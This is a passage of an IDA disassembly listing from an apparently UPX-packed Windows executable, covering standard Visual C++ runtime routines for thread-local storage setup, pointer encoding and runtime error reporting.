		mov	esi, eax
		mov	[ebp+var_24], esi


loc_40DCDB:				; CODE XREF: sub_40DC14+B7j
		mov	edi, [ebp+var_28]
		jmp	short loc_40DC7F
; ---------------------------------------------------------------------------


loc_40DCE0:				; CODE XREF: sub_40DC14+52j
					; sub_40DC14+73j ...
		push	offset dword_41D420
		mov	eax, offset dword_41D414
		call	sub_40DB4E
		pop	ecx


loc_40DCF0:				; CODE XREF: sub_40DC14+39j
		push	offset dword_41D428
		mov	eax, offset dword_41D424
		call	sub_40DB4E
		pop	ecx


loc_40DD00:				; CODE XREF: sub_40DC14+21j
		mov	[ebp+ms_exc.disabled], 0FFFFFFFEh
		call	sub_40DD2B
		cmp	[ebp+arg_8], 0
		jnz	short loc_40DD3A
		mov	dword_42E8AC, ebx
		push	8
		call	sub_40CECF
		pop	ecx
		push	[ebp+arg_0]
		call	sub_40DB24


loc_40DD28:				; DATA XREF: UPX0:00426918o
		xor	ebx, ebx
		inc	ebx
sub_40DC14	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_40DD2B	proc near		; CODE XREF: sub_40DC14+F3p
		cmp	dword ptr [ebp+10h], 0
		jz	short locret_40DD39
		push	8
		call	sub_40CECF
		pop	ecx

locret_40DD39:				; CODE XREF: sub_40DD2B+4j
		retn
sub_40DD2B	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40DC14


loc_40DD3A:				; CODE XREF: sub_40DC14+FCj
		call	__SEH_epilog4
		retn
; END OF FUNCTION CHUNK	FOR sub_40DC14

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40DD40	proc near		; CODE XREF: UPX0:0040BCD3p

arg_0		= dword	ptr  8

		mov	edi, edi
		push	ebp
		mov	ebp, esp
		push	0
		push	0
		push	[ebp+arg_0]
		call	sub_40DC14
		add	esp, 0Ch
		pop	ebp
		retn
sub_40DD40	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40DD56	proc near		; CODE XREF: UPX0:0040BD06p
					; sub_4136C2+D9p ...

arg_0		= dword	ptr  8

		mov	edi, edi
		push	ebp
		mov	ebp, esp
		push	0
		push	1
		push	[ebp+arg_0]
		call	sub_40DC14
		add	esp, 0Ch
		pop	ebp
		retn
sub_40DD56	endp


; =============== S U B	R O U T	I N E =======================================



sub_40DD6C	proc near		; CODE XREF: UPX0:loc_40BCD8p
		push	1
		push	0
		push	0
		call	sub_40DC14
		add	esp, 0Ch
		retn
sub_40DD6C	endp


; =============== S U B	R O U T	I N E =======================================



sub_40DD7B	proc near		; CODE XREF: UPX0:loc_40BD0Bp
		push	1
		push	1
		push	0
		call	sub_40DC14
		add	esp, 0Ch
		retn
sub_40DD7B	endp


; =============== S U B	R O U T	I N E =======================================



sub_40DD8A	proc near		; CODE XREF: sub_40E4D8+CDp
		mov	edi, edi
		push	esi
		call	sub_40E13A
		mov	esi, eax
		push	esi
		call	sub_40DFBC
		push	esi
		call	sub_4135F1
		push	esi
		call	sub_40B11E
		push	esi
		call	sub_413881
		push	esi
		call	sub_413872
		push	esi
		call	sub_413660
		push	esi
		call	nullsub_1
		push	esi
		call	sub_40E0AF
		push	offset sub_40DD56
		call	sub_40E0C8
		add	esp, 24h
		mov	dword_42A2D8, eax
		pop	esi
		retn
sub_40DD8A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40DDD8	proc near		; CODE XREF: sub_40AEA5+2Ap
					; sub_40BB8E+16p ...

var_8		= byte ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		mov	edi, edi
		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	ebx
		mov	ebx, [ebp+arg_0]
		push	esi
		push	edi
		xor	esi, esi
		xor	edi, edi
		mov	[ebp+var_4], edi


loc_40DDEC:				; CODE XREF: sub_40DDD8+24j
		cmp	ebx, dword_42A2E0[edi*8]
		jz	short loc_40DDFE
		inc	edi
		mov	[ebp+var_4], edi
		cmp	edi, 17h
		jb	short loc_40DDEC


loc_40DDFE:				; CODE XREF: sub_40DDD8+1Bj
		cmp	edi, 17h
		jnb	loc_40DF7E
		push	3
		call	sub_413B22
		pop	ecx
		cmp	eax, 1
		jz	loc_40DF4C
		push	3
		call	sub_413B22
		pop	ecx
		test	eax, eax
		jnz	short loc_40DE31
		cmp	dword_42A030, 1
		jz	loc_40DF4C


loc_40DE31:				; CODE XREF: sub_40DDD8+4Aj
		cmp	ebx, 0FCh
		jz	loc_40DF7E
		push	offset aRuntimeErrorPr ; "Runtime Error!\n\nProgram: "
		mov	ebx, 314h
		push	ebx
		mov	edi, offset dword_42E8B0
		push	edi
		call	sub_40CD95
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_40DE67
		push	esi
		push	esi
		push	esi
		push	esi
		push	esi
		call	sub_40B12D
		add	esp, 14h


loc_40DE67:				; CODE XREF: sub_40DDD8+80j
		push	104h
		mov	esi, offset byte_42E8C9
		push	esi
		push	0
		mov	byte_42E9CD, 0
		call	dword_41D180	; GetModuleFileNameA
		test	eax, eax
		jnz	short loc_40DEAB
		push	offset aProgramNameUnk ; "<program name	unknown>"
		push	2FBh
		push	esi
		call	sub_40CD95
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_40DEAB
		xor	eax, eax
		push	eax
		push	eax
		push	eax
		push	eax
		push	eax
		call	sub_40B12D
		add	esp, 14h


loc_40DEAB:				; CODE XREF: sub_40DDD8+ABj
					; sub_40DDD8+C2j
		push	esi
		call	sub_40BFB0
		inc	eax
		pop	ecx
		cmp	eax, 3Ch
		jbe	short loc_40DEF0
		push	esi
		call	sub_40BFB0
		sub	esi, 3Bh
		add	eax, esi
		push	3
		mov	ecx, offset dword_42EBC4
		push	offset a___	; "..."
		sub	ecx, eax
		push	ecx
		push	eax
		call	sub_413A6D
		add	esp, 14h
		test	eax, eax
		jz	short loc_40DEF0
		xor	esi, esi
		push	esi
		push	esi
		push	esi
		push	esi
		push	esi
		call	sub_40B12D
		add	esp, 14h
		jmp	short loc_40DEF2
; ---------------------------------------------------------------------------


loc_40DEF0:				; CODE XREF: sub_40DDD8+DEj
					; sub_40DDD8+105j
		xor	esi, esi


loc_40DEF2:				; CODE XREF: sub_40DDD8+116j
		push	offset asc_41DB60 ; "\n\n"
		push	ebx
		push	edi
		call	sub_4139F9
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_40DF12
		push	esi
		push	esi
		push	esi
		push	esi
		push	esi
		call	sub_40B12D
		add	esp, 14h


loc_40DF12:				; CODE XREF: sub_40DDD8+12Bj
		mov	eax, [ebp+var_4]
		push	off_42A2E4[eax*8]
		push	ebx
		push	edi
		call	sub_4139F9
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_40DF37
		push	esi
		push	esi
		push	esi
		push	esi
		push	esi
		call	sub_40B12D
		add	esp, 14h


loc_40DF37:				; CODE XREF: sub_40DDD8+150j
		push	12010h
		push	offset aMicrosoftVisua ; "Microsoft Visual C++ Runtime Library"
		push	edi
		call	sub_413890
		add	esp, 0Ch
		jmp	short loc_40DF7E
; ---------------------------------------------------------------------------


loc_40DF4C:				; CODE XREF: sub_40DDD8+3Aj
					; sub_40DDD8+53j
		push	0FFFFFFF4h
		call	dword_41D184	; GetStdHandle
		mov	ebx, eax
		cmp	ebx, esi
		jz	short loc_40DF7E
		cmp	ebx, 0FFFFFFFFh
		jz	short loc_40DF7E
		push	0
		lea	eax, [ebp+var_8]
		push	eax
		lea	esi, ds:42A2E4h[edi*8]
		push	dword ptr [esi]
		call	sub_40BFB0
		pop	ecx
		push	eax
		push	dword ptr [esi]
		push	ebx
		call	dword_41D188	; WriteFile


loc_40DF7E:				; CODE XREF: sub_40DDD8+29j
					; sub_40DDD8+5Fj ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_40DDD8	endp


; =============== S U B	R O U T	I N E =======================================



sub_40DF83	proc near		; CODE XREF: sub_40AEA5+23p
					; sub_40BB8E+Ep ...
		push	3
		call	sub_413B22
		pop	ecx
		cmp	eax, 1
		jz	short loc_40DFA5
		push	3
		call	sub_413B22
		pop	ecx
		test	eax, eax
		jnz	short locret_40DFBB
		cmp	dword_42A030, 1
		jnz	short locret_40DFBB


loc_40DFA5:				; CODE XREF: sub_40DF83+Bj
		push	0FCh
		call	sub_40DDD8
		push	0FFh
		call	sub_40DDD8
		pop	ecx
		pop	ecx

locret_40DFBB:				; CODE XREF: sub_40DF83+17j
					; sub_40DF83+20j
		retn
sub_40DF83	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40DFBC	proc near		; CODE XREF: sub_40DD8A+Bp

arg_0		= dword	ptr  8

		mov	edi, edi
		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+arg_0]
		mov	dword_42EBC4, eax
		pop	ebp
		retn
sub_40DFBC	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40DFCB	proc near		; CODE XREF: sub_40AEA5+8Dp
					; sub_40AEA5+B4p ...

arg_0		= dword	ptr  8

		mov	edi, edi
		push	ebp
		mov	ebp, esp
		push	dword_42EBC4
		call	sub_40E143
		pop	ecx
		test	eax, eax
		jz	short loc_40DFEF
		push	[ebp+arg_0]
		call	eax ; dword_430290
		pop	ecx
		test	eax, eax
		jz	short loc_40DFEF
		xor	eax, eax
		inc	eax
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_40DFEF:				; CODE XREF: sub_40DFCB+13j
					; sub_40DFCB+1Dj
		xor	eax, eax
		pop	ebp
		retn
sub_40DFCB	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_40E000	proc near		; CODE XREF: sub_407CD3+Dp
					; sub_40809A+5p ...
		push	ecx
		lea	ecx, [esp+4]
		sub	ecx, eax
		sbb	eax, eax
		not	eax
		and	ecx, eax
		mov	eax, esp
		and	eax, 0FFFFF000h


loc_40E014:				; CODE XREF: sub_40E000+29j
		cmp	ecx, eax
		jb	short loc_40E022
		mov	eax, ecx
		pop	ecx
		xchg	eax, esp
		mov	eax, [eax]
		mov	[esp+0], eax
		retn
; ---------------------------------------------------------------------------


loc_40E022:				; CODE XREF: sub_40E000+16j
		sub	eax, 1000h
		test	[eax], eax
		jmp	short loc_40E014
sub_40E000	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40E02B	proc near		; CODE XREF: sub_40B05D:loc_40B0A4p
					; sub_40E064:loc_40E072j ...

ms_exc		= CPPEH_RECORD ptr -18h

		push	8
		push	offset dword_426920
		call	__SEH_prolog4
		call	sub_40E38F
		mov	eax, [eax+78h]
		test	eax, eax
		jz	short loc_40E059
		and	[ebp+ms_exc.disabled], 0
		call	eax
		jmp	short loc_40E052
; ---------------------------------------------------------------------------
		xor	eax, eax
		inc	eax
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp+ms_exc.old_esp]


loc_40E052:				; CODE XREF: sub_40E02B+1Ej
		mov	[ebp+ms_exc.disabled], 0FFFFFFFEh


loc_40E059:				; CODE XREF: sub_40E02B+16j
		call	sub_413B6D
		call	__SEH_epilog4
		retn
sub_40E02B	endp


; =============== S U B	R O U T	I N E =======================================



sub_40E064	proc near		; CODE XREF: sub_4104C4+23p
		call	sub_40E38F
		mov	eax, [eax+7Ch]
		test	eax, eax
		jz	short loc_40E072
		call	eax


loc_40E072:				; CODE XREF: sub_40E064+Aj
		jmp	sub_40E02B
sub_40E064	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40E077	proc near		; CODE XREF: sub_40C2F3+1Ep
					; sub_40C2F3:loc_40C356p ...

ms_exc		= CPPEH_RECORD ptr -18h

		push	8
		push	offset dword_426940
		call	__SEH_prolog4
		push	dword_42EBCC
		call	sub_40E143
		pop	ecx
		test	eax, eax
		jz	short loc_40E0A9
		and	[ebp+ms_exc.disabled], 0
		call	eax
		jmp	short loc_40E0A2
; ---------------------------------------------------------------------------
		xor	eax, eax
		inc	eax
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp+ms_exc.old_esp]


loc_40E0A2:				; CODE XREF: sub_40E077+22j
		mov	[ebp+ms_exc.disabled], 0FFFFFFFEh


loc_40E0A9:				; CODE XREF: sub_40E077+1Aj
		call	sub_40E02B
		int	3		; Trap to Debugger
sub_40E077	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_40E0AF	proc near		; CODE XREF: sub_40DD8A+35p
		push	offset sub_40E02B
		call	sub_40E0C8
		pop	ecx
		mov	dword_42EBCC, eax
		retn
sub_40E0AF	endp


; =============== S U B	R O U T	I N E =======================================



sub_40E0C0	proc near		; CODE XREF: sub_40B12D+103p
					; sub_40B255+1Ap ...
		and	dword_430260, 0
		retn
sub_40E0C0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40E0C8	proc near		; CODE XREF: sub_40B649+89p
					; sub_40B649+97p ...

arg_0		= dword	ptr  8

		mov	edi, edi
		push	ebp
		mov	ebp, esp
		push	esi
		push	dword_42A3A4
		mov	esi, dword_41D17C
		call	esi ; dword_41D17C
		test	eax, eax
		jz	short loc_40E101
		mov	eax, dword_42A3A0
		cmp	eax, 0FFFFFFFFh
		jz	short loc_40E101
		push	eax
		push	dword_42A3A4
		call	esi ; dword_41D17C
		call	eax ; dword_42A3A0
		test	eax, eax
		jz	short loc_40E101
		mov	eax, [eax+1F8h]
		jmp	short loc_40E128
; ---------------------------------------------------------------------------


loc_40E101:				; CODE XREF: sub_40E0C8+16j
					; sub_40E0C8+20j ...
		mov	esi, offset off_41DBAC
		push	esi
		call	dword_41D078	; GetModuleHandleW
		test	eax, eax
		jnz	short loc_40E11C
		push	esi
		call	sub_40DAA0
		pop	ecx
		test	eax, eax
		jz	short loc_40E134


loc_40E11C:				; CODE XREF: sub_40E0C8+47j
		push	offset aEncodepointer ;	"EncodePointer"
		push	eax
		call	dword_41D0D8	; GetProcAddress


loc_40E128:				; CODE XREF: sub_40E0C8+37j
		test	eax, eax
		jz	short loc_40E134
		push	[ebp+arg_0]
		call	eax
		mov	[ebp+arg_0], eax


loc_40E134:				; CODE XREF: sub_40E0C8+52j
					; sub_40E0C8+62j
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	ebp
		retn
sub_40E0C8	endp


; =============== S U B	R O U T	I N E =======================================



sub_40E13A	proc near		; CODE XREF: sub_40DC14+75p
					; sub_40DC14+8Bp ...
		push	0
		call	sub_40E0C8
		pop	ecx
		retn
sub_40E13A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40E143	proc near		; CODE XREF: sub_40B255+Bp
					; sub_40B649+Fp ...

arg_0		= dword	ptr  8

		mov	edi, edi
		push	ebp
		mov	ebp, esp
		push	esi
		push	dword_42A3A4
		mov	esi, dword_41D17C
		call	esi ; dword_41D17C
		test	eax, eax
		jz	short loc_40E17C
		mov	eax, dword_42A3A0
		cmp	eax, 0FFFFFFFFh
		jz	short loc_40E17C
		push	eax
		push	dword_42A3A4
		call	esi ; dword_41D17C
		call	eax ; dword_42A3A0
		test	eax, eax
		jz	short loc_40E17C
		mov	eax, [eax+1FCh]
		jmp	short loc_40E1A3
; ---------------------------------------------------------------------------


loc_40E17C:				; CODE XREF: sub_40E143+16j
					; sub_40E143+20j ...
		mov	esi, offset off_41DBAC
		push	esi
		call	dword_41D078	; GetModuleHandleW
		test	eax, eax
		jnz	short loc_40E197
		push	esi
		call	sub_40DAA0
		pop	ecx
		test	eax, eax
		jz	short loc_40E1AF


loc_40E197:				; CODE XREF: sub_40E143+47j
		push	offset aDecodepointer ;	"DecodePointer"
		push	eax
		call	dword_41D0D8	; GetProcAddress


loc_40E1A3:				; CODE XREF: sub_40E143+37j
		test	eax, eax
		jz	short loc_40E1AF
		push	[ebp+arg_0]
		call	eax
		mov	[ebp+arg_0], eax


loc_40E1AF:				; CODE XREF: sub_40E143+52j
					; sub_40E143+62j
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	ebp
		retn
sub_40E143	endp


; =============== S U B	R O U T	I N E =======================================



sub_40E1B5	proc near		; DATA XREF: sub_40E4D8+93o
		call	dword_41D178	; TlsAlloc
		retn	4
sub_40E1B5	endp


; =============== S U B	R O U T	I N E =======================================



sub_40E1BE	proc near		; CODE XREF: sub_40E316+12p
		mov	edi, edi
		push	esi
		push	dword_42A3A4
		call	dword_41D17C	; TlsGetValue
		mov	esi, eax
		test	esi, esi
		jnz	short loc_40E1EE
		push	dword_42EBD4
		call	sub_40E143
		pop	ecx
		mov	esi, eax
		push	esi
		push	dword_42A3A4
		call	dword_41D174	; TlsSetValue


loc_40E1EE:				; CODE XREF: sub_40E1BE+13j
		mov	eax, esi
		pop	esi
		retn
sub_40E1BE	endp


; =============== S U B	R O U T	I N E =======================================



sub_40E1F2	proc near		; CODE XREF: sub_40E4D8:loc_40E65Bp

; FUNCTION CHUNK AT 0040CE78 SIZE 00000057 BYTES

		mov	eax, dword_42A3A0
		cmp	eax, 0FFFFFFFFh
		jz	short loc_40E212
		push	eax
		push	dword_42EBDC
		call	sub_40E143
		pop	ecx
		call	eax ; dword_42A3A0
		or	dword_42A3A0, 0FFFFFFFFh


loc_40E212:				; CODE XREF: sub_40E1F2+8j
		mov	eax, dword_42A3A4
		cmp	eax, 0FFFFFFFFh
		jz	short loc_40E22A
		push	eax
		call	dword_41D170	; TlsFree
		or	dword_42A3A4, 0FFFFFFFFh


loc_40E22A:				; CODE XREF: sub_40E1F2+28j
		jmp	loc_40CE78
sub_40E1F2	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40E22F	proc near		; CODE XREF: sub_40E316+4Fp
					; sub_40E4D8+16Bp

var_1C		= dword	ptr -1Ch
ms_exc		= CPPEH_RECORD ptr -18h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	0Ch
		push	offset dword_426960
		call	__SEH_prolog4
		mov	esi, offset off_41DBAC
		push	esi
		call	dword_41D078	; GetModuleHandleW
		test	eax, eax
		jnz	short loc_40E252
		push	esi
		call	sub_40DAA0
		pop	ecx


loc_40E252:				; CODE XREF: sub_40E22F+1Aj
		mov	[ebp+var_1C], eax
		mov	esi, [ebp+arg_0]
		mov	dword ptr [esi+5Ch], offset dword_41DC28
		xor	edi, edi
		inc	edi
		mov	[esi+14h], edi
		test	eax, eax
		jz	short loc_40E28D
		push	offset aEncodepointer ;	"EncodePointer"
		push	eax
		mov	ebx, dword_41D0D8
		call	ebx ; dword_41D0D8
		mov	[esi+1F8h], eax
		push	offset aDecodepointer ;	"DecodePointer"
		push	[ebp+var_1C]
		call	ebx ; dword_41D0D8
		mov	[esi+1FCh], eax


loc_40E28D:				; CODE XREF: sub_40E22F+38j
		mov	[esi+70h], edi
		mov	byte ptr [esi+0C8h], 43h
		mov	byte ptr [esi+14Bh], 43h
		mov	dword ptr [esi+68h], offset dword_42A6D0
		push	0Dh
		call	sub_40CFA9
		pop	ecx
		and	[ebp+ms_exc.disabled], 0
		push	dword ptr [esi+68h]
		call	dword_41D21C	; InterlockedIncrement
		mov	[ebp+ms_exc.disabled], 0FFFFFFFEh
		call	sub_40E304
		push	0Ch
		call	sub_40CFA9
		pop	ecx
		mov	[ebp+ms_exc.disabled], edi
		mov	eax, [ebp+arg_4]
		mov	[esi+6Ch], eax
		test	eax, eax
		jnz	short loc_40E2E3
		mov	eax, off_42ACD8
		mov	[esi+6Ch], eax


loc_40E2E3:				; CODE XREF: sub_40E22F+AAj
		push	dword ptr [esi+6Ch]
		call	sub_412329
		pop	ecx
		mov	[ebp+ms_exc.disabled], 0FFFFFFFEh
		call	sub_40E30D
		call	__SEH_epilog4
		retn
sub_40E22F	endp


; =============== S U B	R O U T	I N E =======================================



sub_40E2FE	proc near		; DATA XREF: UPX0:00426978o
		xor	edi, edi
		inc	edi
		mov	esi, [ebp+8]
sub_40E2FE	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_40E304	proc near		; CODE XREF: sub_40E22F+92p
		push	0Dh
		call	sub_40CECF
		pop	ecx
		retn
sub_40E304	endp


; =============== S U B	R O U T	I N E =======================================



sub_40E30D	proc near		; CODE XREF: sub_40E22F+C4p
					; DATA XREF: UPX0:00426984o
		push	0Ch
		call	sub_40CECF
		pop	ecx
		retn
sub_40E30D	endp


; =============== S U B	R O U T	I N E =======================================



sub_40E316	proc near		; CODE XREF: sub_40C862p sub_40C875p ...
		mov	edi, edi
		push	esi
		push	edi
		call	dword_41D1D8	; RtlGetLastWin32Error
		push	dword_42A3A0
		mov	edi, eax
		call	sub_40E1BE
		call	eax
		mov	esi, eax
		test	esi, esi
		jnz	short loc_40E383
		push	214h
		push	1
		call	sub_40EF6F
		mov	esi, eax
		pop	ecx
		pop	ecx
		test	esi, esi
		jz	short loc_40E383
		push	esi
		push	dword_42A3A0
		push	dword_42EBD8
		call	sub_40E143
		pop	ecx
		call	eax
		test	eax, eax
		jz	short loc_40E37A
		push	0
		push	esi
		call	sub_40E22F
		pop	ecx
		pop	ecx
		call	dword_41D1C4	; GetCurrentThreadId
		or	dword ptr [esi+4], 0FFFFFFFFh
		mov	[esi], eax
		jmp	short loc_40E383
; ---------------------------------------------------------------------------


loc_40E37A:				; CODE XREF: sub_40E316+4Aj
		push	esi
		call	sub_40ADC8
		pop	ecx
		xor	esi, esi


loc_40E383:				; CODE XREF: sub_40E316+1Dj
					; sub_40E316+31j ...
		push	edi
		call	dword_41D1D0	; RtlSetLastWin32Error
		pop	edi
		mov	eax, esi
		pop	esi
		retn
sub_40E316	endp


; =============== S U B	R O U T	I N E =======================================



sub_40E38F	proc near		; CODE XREF: sub_40C17D+8Bp
					; sub_40C368+Ep ...
		mov	edi, edi
		push	esi
		call	sub_40E316
		mov	esi, eax
		test	esi, esi
		jnz	short loc_40E3A5
		push	10h
		call	sub_40DAD0
		pop	ecx


loc_40E3A5:				; CODE XREF: sub_40E38F+Cj
		mov	eax, esi
		pop	esi
		retn
sub_40E38F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40E3A9	proc near		; DATA XREF: sub_40E4D8+11Eo

ms_exc		= CPPEH_RECORD ptr -18h
arg_0		= dword	ptr  8

		push	8
		push	offset dword_426988
		call	__SEH_prolog4
		mov	esi, [ebp+arg_0]
		test	esi, esi
		jz	loc_40E4B8
		mov	eax, [esi+24h]
		test	eax, eax
		jz	short loc_40E3CE
		push	eax
		call	sub_40ADC8
		pop	ecx


loc_40E3CE:				; CODE XREF: sub_40E3A9+1Cj
		mov	eax, [esi+2Ch]
		test	eax, eax
		jz	short loc_40E3DC
		push	eax
		call	sub_40ADC8
		pop	ecx


loc_40E3DC:				; CODE XREF: sub_40E3A9+2Aj
		mov	eax, [esi+34h]
		test	eax, eax
		jz	short loc_40E3EA
		push	eax
		call	sub_40ADC8
		pop	ecx


loc_40E3EA:				; CODE XREF: sub_40E3A9+38j
		mov	eax, [esi+3Ch]
		test	eax, eax
		jz	short loc_40E3F8
		push	eax
		call	sub_40ADC8
		pop	ecx


loc_40E3F8:				; CODE XREF: sub_40E3A9+46j
		mov	eax, [esi+40h]
		test	eax, eax
		jz	short loc_40E406
		push	eax
		call	sub_40ADC8
		pop	ecx


loc_40E406:				; CODE XREF: sub_40E3A9+54j
		mov	eax, [esi+44h]
		test	eax, eax
		jz	short loc_40E414
		push	eax
		call	sub_40ADC8
		pop	ecx


loc_40E414:				; CODE XREF: sub_40E3A9+62j
		mov	eax, [esi+48h]
		test	eax, eax
		jz	short loc_40E422
		push	eax
		call	sub_40ADC8
		pop	ecx


loc_40E422:				; CODE XREF: sub_40E3A9+70j
		mov	eax, [esi+5Ch]
		cmp	eax, offset dword_41DC28
		jz	short loc_40E433
		push	eax
		call	sub_40ADC8
		pop	ecx


loc_40E433:				; CODE XREF: sub_40E3A9+81j
		push	0Dh
		call	sub_40CFA9
		pop	ecx
		and	[ebp+ms_exc.disabled], 0
		mov	edi, [esi+68h]
		test	edi, edi
		jz	short loc_40E460
		push	edi
		call	dword_41D218	; InterlockedDecrement
		test	eax, eax
		jnz	short loc_40E460
		cmp	edi, offset dword_42A6D0
		jz	short loc_40E460
		push	edi
		call	sub_40ADC8
		pop	ecx


loc_40E460:				; CODE XREF: sub_40E3A9+9Bj
					; sub_40E3A9+A6j ...
		mov	[ebp+ms_exc.disabled], 0FFFFFFFEh
		call	sub_40E4C3
		push	0Ch
		call	sub_40CFA9
		pop	ecx
		mov	[ebp+ms_exc.disabled], 1
		mov	edi, [esi+6Ch]
		test	edi, edi
		jz	short loc_40E4A5
		push	edi
		call	sub_4123B8
		pop	ecx
		cmp	edi, off_42ACD8
		jz	short loc_40E4A5
		cmp	edi, offset dword_42AC00
		jz	short loc_40E4A5
		cmp	dword ptr [edi], 0
		jnz	short loc_40E4A5
		push	edi
		call	sub_4121E0
		pop	ecx


loc_40E4A5:				; CODE XREF: sub_40E3A9+D7j
					; sub_40E3A9+E6j ...
		mov	[ebp+ms_exc.disabled], 0FFFFFFFEh
		call	sub_40E4CF
		push	esi
		call	sub_40ADC8
		pop	ecx


loc_40E4B8:				; CODE XREF: sub_40E3A9+11j
		call	__SEH_epilog4
		retn	4
sub_40E3A9	endp


; =============== S U B	R O U T	I N E =======================================



sub_40E4C0	proc near		; DATA XREF: UPX0:004269A0o
		mov	esi, [ebp+8]
sub_40E4C0	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_40E4C3	proc near		; CODE XREF: sub_40E3A9+BEp
		push	0Dh
		call	sub_40CECF
		pop	ecx
		retn
sub_40E4C3	endp


; =============== S U B	R O U T	I N E =======================================



sub_40E4CC	proc near		; DATA XREF: UPX0:004269ACo
		mov	esi, [ebp+8]
sub_40E4CC	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_40E4CF	proc near		; CODE XREF: sub_40E3A9+103p
		push	0Ch
		call	sub_40CECF
		pop	ecx
		retn
sub_40E4CF	endp


; =============== S U B	R O U T	I N E =======================================



sub_40E4D8	proc near		; CODE XREF: UPX0:loc_40BC37p
		mov	edi, edi
		push	esi
		push	edi
		mov	esi, offset off_41DBAC
		push	esi
		call	dword_41D078	; GetModuleHandleW
		test	eax, eax
		jnz	short loc_40E4F3
		push	esi
		call	sub_40DAA0
		pop	ecx


loc_40E4F3:				; CODE XREF: sub_40E4D8+12j
		mov	edi, eax
		test	edi, edi
		jz	loc_40E65B
		mov	esi, dword_41D0D8
		push	offset aFlsalloc ; "FlsAlloc"
		push	edi
		call	esi ; dword_41D0D8
		push	offset aFlsgetvalue ; "FlsGetValue"
		push	edi
		mov	dword_42EBD0, eax
		call	esi ; dword_41D0D8
		push	offset aFlssetvalue ; "FlsSetValue"
		push	edi
		mov	dword_42EBD4, eax
		call	esi ; dword_41D0D8
		push	offset aFlsfree	; "FlsFree"
		push	edi
		mov	dword_42EBD8, eax
		call	esi ; dword_41D0D8
		cmp	dword_42EBD0, 0
		mov	esi, dword_41D174
		mov	dword_42EBDC, eax
		jz	short loc_40E55C
		cmp	dword_42EBD4, 0
		jz	short loc_40E55C
		cmp	dword_42EBD8, 0
		jz	short loc_40E55C
		test	eax, eax
		jnz	short loc_40E580


loc_40E55C:				; CODE XREF: sub_40E4D8+6Cj
					; sub_40E4D8+75j ...
		mov	eax, dword_41D17C
		mov	dword_42EBD4, eax
		mov	eax, dword_41D170
		mov	dword_42EBD0, offset sub_40E1B5
		mov	dword_42EBD8, esi
		mov	dword_42EBDC, eax


loc_40E580:				; CODE XREF: sub_40E4D8+82j
		call	dword_41D178	; TlsAlloc
		mov	dword_42A3A4, eax
		cmp	eax, 0FFFFFFFFh
		jz	loc_40E660
		push	dword_42EBD4
		push	eax
		call	esi ; dword_41D174
		test	eax, eax
		jz	loc_40E660
		call	sub_40DD8A
		push	dword_42EBD0
		call	sub_40E0C8
		push	dword_42EBD4
		mov	dword_42EBD0, eax
		call	sub_40E0C8
		push	dword_42EBD8
		mov	dword_42EBD4, eax
		call	sub_40E0C8
		push	dword_42EBDC
		mov	dword_42EBD8, eax
		call	sub_40E0C8
		add	esp, 10h
		mov	dword_42EBDC, eax
		call	sub_40CE2D
		test	eax, eax
		jz	short loc_40E65B
		push	offset sub_40E3A9
		push	dword_42EBD0
		call	sub_40E143
		pop	ecx
		call	eax	; TlsFree
		mov	dword_42A3A0, eax
		cmp	eax, 0FFFFFFFFh
		jz	short loc_40E65B
		push	214h
		push	1
		call	sub_40EF6F
		mov	esi, eax
		pop	ecx
		pop	ecx
		test	esi, esi
		jz	short loc_40E65B
		push	esi
		push	dword_42A3A0
		push	dword_42EBD8
		call	sub_40E143
		pop	ecx
		call	eax	; TlsFree
		test	eax, eax
		jz	short loc_40E65B
		push	0
		push	esi
		call	sub_40E22F
		pop	ecx
		pop	ecx
		call	dword_41D1C4	; GetCurrentThreadId
		or	dword ptr [esi+4], 0FFFFFFFFh
		mov	[esi], eax
		xor	eax, eax
		inc	eax
		jmp	short loc_40E662
; ---------------------------------------------------------------------------


loc_40E65B:				; CODE XREF: sub_40E4D8+1Fj
					; sub_40E4D8+11Cj ...
		call	sub_40E1F2


loc_40E660:				; CODE XREF: sub_40E4D8+B6j
					; sub_40E4D8+C7j
		xor	eax, eax


loc_40E662:				; CODE XREF: sub_40E4D8+181j
		pop	edi
		pop	esi
		retn
sub_40E4D8	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40E665	proc near		; CODE XREF: sub_40B28B+47p
					; sub_40B649+3Dp

var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
ms_exc		= CPPEH_RECORD ptr -18h
arg_0		= dword	ptr  8

		push	10h
		push	offset dword_4269B0
